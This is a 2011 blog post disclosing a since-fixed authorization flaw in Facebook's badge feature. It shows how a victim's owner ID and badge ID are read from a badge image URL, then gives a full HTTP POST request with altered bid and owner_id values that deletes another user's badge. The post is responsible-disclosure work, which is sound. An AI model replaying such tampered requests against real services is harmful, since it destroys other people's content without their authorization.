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Friday, April 8, 2011

Facebook Vulnerability - Destroy Any advertisements/badges! (permission issue)

These days Facebook is one of the heaviest engine of advertising, many companies use Facebook to promote their products and even hire people to deal just with that.


I found an attack vector that can be used by any hacker to delete badges/ads from people's/companies's accounts which will cause a damage to every blog/other website
because a new bages will have a new "bid" so every website will drop the old badge.

This issue effects the Badges feature 
As for: 
Badges Home
Profile Badges
Like Badges
Photo Badges
Page Badges

Vulnerability Details:
A user uses the badges feature to share on blogger or any other place
an attacker see the bage in some website/blog:
<img src="http://badge.facebook.com/badge/1403380007.3098.1711802846.png" width="336" height="84" style="border: 0px;">
Analyzing the Picture's name:
The first number 1403380007 is the Victim's facebook owner ID
(it's easy to get this id using a simple search in facebook)
Now the middle number: 3098 is the bid(badge id) 

Now what the Attacker needs is to capture a deleting badge packet
and manipulate the "bid" and "owner_id"

POST /ajax/facebook-widgets/delete_badge.php?__a=1 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/badges/profile.php?status=new
Origin: http://www.facebook.com
X-SVN-Rev: 349667
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycookie
Content-Length: 137

bid=3098&owner_id=1403380007&post_form_id=073ca00487f1c8fb8903a6ff04ed57be&fb_dtsg=4xsur&lsd&post_form_id_source=AsyncRequest&confirmed=1

Then a successful badge delete will be performed on the victim's account


The Facebook Team Fixed this issue and thanked me by adding my name into the Facebook WhiteHats thank you list : Facebook Security WhiteHats

Best Regards,
Ben Hayak 

3 comments:

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